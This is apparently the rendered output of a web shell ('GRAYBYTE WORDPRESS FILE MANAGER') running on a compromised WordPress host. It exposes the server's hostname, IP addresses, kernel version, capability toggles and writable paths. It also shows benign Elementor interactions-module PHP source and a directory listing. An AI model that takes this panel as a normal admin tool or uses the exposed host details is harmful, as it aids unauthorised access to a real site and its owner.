✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.105
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/tdhomesa/public_html/wp-content/plugins/elementor/modules/interactions//module.php
<?php

namespace Elementor\Modules\Interactions;

use Elementor\Core\Base\Module as BaseModule;
use Elementor\Core\Base\Document;
use Elementor\Core\Experiments\Manager as Experiments_Manager;
use Elementor\Modules\AtomicWidgets\Module as AtomicWidgetsModule;
use Elementor\Modules\Interactions\Cache\Interactions_Postmeta;
use Elementor\Plugin;
use Elementor\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Module extends BaseModule {
	const MODULE_NAME = 'e-interactions';
	const EXPERIMENT_NAME = 'e_interactions';

	const HANDLE_MOTION_JS            = 'motion-js';
	const HANDLE_SHARED_UTILS         = 'elementor-interactions-shared-utils';
	const HANDLE_FRONTEND             = 'elementor-interactions';
	const HANDLE_EDITOR               = 'elementor-editor-interactions';
	const JS_CONFIG_OBJECT            = 'ElementorInteractionsConfig';
	const SCRIPT_ID_INTERACTIONS_DATA = 'elementor-interactions-data';

	public function get_name() {
		return self::MODULE_NAME;
	}

	private $preset_animations;

	private function get_presets() {
		if ( ! $this->preset_animations ) {
			$this->preset_animations = new Presets();
		}

		return $this->preset_animations;
	}

	private $frontend_handler;

	private function get_frontend_handler() {
		if ( ! $this->frontend_handler ) {
			$this->frontend_handler = new Interactions_Frontend_Handler( fn () => $this->get_config() );
		}

		return $this->frontend_handler;
	}

	public static function get_experimental_data() {
		return [
			'name' => self::EXPERIMENT_NAME,
			'title' => esc_html__( 'Interactions', 'elementor' ),
			'description' => esc_html__( 'Enable element interactions.', 'elementor' ),
			'hidden' => true,
			'default' => Experiments_Manager::STATE_ACTIVE,
			'release_status' => Experiments_Manager::RELEASE_STATUS_DEV,
		];
	}

	public function is_experiment_active() {
		return Plugin::$instance->experiments->is_feature_active( self::EXPERIMENT_NAME )
			&& Plugin::$instance->experiments->is_feature_active( AtomicWidgetsModule::EXPERIMENT_NAME );
	}

	public function __construct() {
		parent::__construct();

		if ( ! $this->is_experiment_active() ) {
			return;
		}

		$this->register_hooks();
	}

	private function register_hooks() {
		add_action( 'elementor/frontend/after_register_scripts', fn () => $this->register_frontend_scripts() );
		add_action( 'elementor/preview/enqueue_scripts', fn () => $this->enqueue_preview_scripts() );

		add_action( 'elementor/editor/before_enqueue_scripts', fn () => $this->enqueue_editor_scripts() );
		add_action( 'elementor/editor/after_enqueue_scripts', fn () => $this->enqueue_editor_scripts() );

		add_filter( 'elementor/document/save/data', [ $this, 'handle_interactions' ], 10, 2 );
		add_action( 'elementor/document/after_save', [ $this, 'handle_interactions_cache' ], 10, 2 );

		// Collect interactions from documents before they render (header, footer, post content)
		add_filter( 'elementor/frontend/builder_content_data', [
			$this->get_frontend_handler(),
			'collect_document_interactions',
		], 10, 2 );

		// Output centralized interaction data in footer
		add_action( 'wp_footer', [ $this->get_frontend_handler(), 'print_interactions_data' ], 1 );
	}

	/**
	 * Sanitize and validate data before saving the document.
	 *
	 * @throws \Exception When validation fails.
	 * @return array
	 */
	public function handle_interactions( $data, $document ) {
		$validation = new Validation();
		$document_after_sanitization = $validation->sanitize( $data );

		$validation->validate();

		$parser = new Parser( $document->get_main_id() );
		return $parser->assign_interaction_ids( $document_after_sanitization );
	}

	public function handle_interactions_cache( Document $document, $data ) {
		$postmeta = new Interactions_Postmeta();
		$postmeta->process_content( $document->get_main_id(), $data );
	}

	public function get_config() {
		return [
			'constants' => $this->get_presets()->defaults(),
			'breakpoints' => $this->get_active_breakpoints(),
		];
	}

	private function get_active_breakpoints() {
		$breakpoints_config = Plugin::$instance->breakpoints->get_breakpoints_config();
		$active_breakpoints = Plugin::$instance->breakpoints->get_active_breakpoints();

		$breakpoints = [];

		foreach ( array_keys( $active_breakpoints ) as $breakpoint_label ) {
			$breakpoints[ $breakpoint_label ] = $breakpoints_config[ $breakpoint_label ];
		}

		return $breakpoints;
	}

	private function register_frontend_scripts() {
		$suffix = ( Utils::is_script_debug() || Utils::is_elementor_tests() ) ? '' : '.min';

		wp_register_script(
			self::HANDLE_MOTION_JS,
			ELEMENTOR_ASSETS_URL . 'lib/motion/motion' . $suffix . '.js',
			[],
			'11.13.5',
			true
		);

		wp_register_script(
			self::HANDLE_SHARED_UTILS,
			$this->get_js_assets_url( 'interactions-shared-utils' ),
			[ self::HANDLE_MOTION_JS ],
			'1.0.0',
			true
		);

		wp_register_script(
			self::HANDLE_FRONTEND,
			$this->get_js_assets_url( 'interactions' ),
			[ self::HANDLE_MOTION_JS, self::HANDLE_SHARED_UTILS ],
			'1.0.0',
			true
		);

		wp_register_script(
			self::HANDLE_EDITOR,
			$this->get_js_assets_url( 'editor-interactions' ),
			[ self::HANDLE_MOTION_JS, self::HANDLE_SHARED_UTILS ],
			'1.0.0',
			true
		);
	}

	public function enqueue_editor_scripts() {
		wp_add_inline_script(
			'elementor-common',
			'window.' . self::JS_CONFIG_OBJECT . ' = ' . wp_json_encode( $this->get_config() ) . ';',
			'before'
		);
	}

	public function enqueue_preview_scripts() {
		wp_enqueue_script( self::HANDLE_SHARED_UTILS );
		// Ensure motion-js and editor-interactions handler are available in preview iframe
		wp_enqueue_script( self::HANDLE_MOTION_JS );
		wp_enqueue_script( self::HANDLE_EDITOR );

		wp_localize_script(
			self::HANDLE_EDITOR,
			self::JS_CONFIG_OBJECT,
			$this->get_config()
		);
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
12 Jun 2026 10.25 AM
tdhomesa / tdhomesa
0755
cache
--
12 Jun 2026 10.25 AM
tdhomesa / tdhomesa
0755
props
--
12 Jun 2026 10.25 AM
tdhomesa / tdhomesa
0755
schema
--
12 Jun 2026 10.25 AM
tdhomesa / tdhomesa
0755
validators
--
12 Jun 2026 10.25 AM
tdhomesa / tdhomesa
0755
interactions-collector.php
1.627 KB
30 Mar 2026 1.49 PM
tdhomesa / tdhomesa
0644
interactions-frontend-handler.php
3.737 KB
20 May 2026 4.19 PM
tdhomesa / tdhomesa
0644
module.php
5.7 KB
20 May 2026 4.19 PM
tdhomesa / tdhomesa
0644
parser.php
2.714 KB
2 Feb 2026 2.52 PM
tdhomesa / tdhomesa
0644
presets.php
1.72 KB
20 May 2026 4.19 PM
tdhomesa / tdhomesa
0644
validation.php
10.859 KB
20 May 2026 4.19 PM
tdhomesa / tdhomesa
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF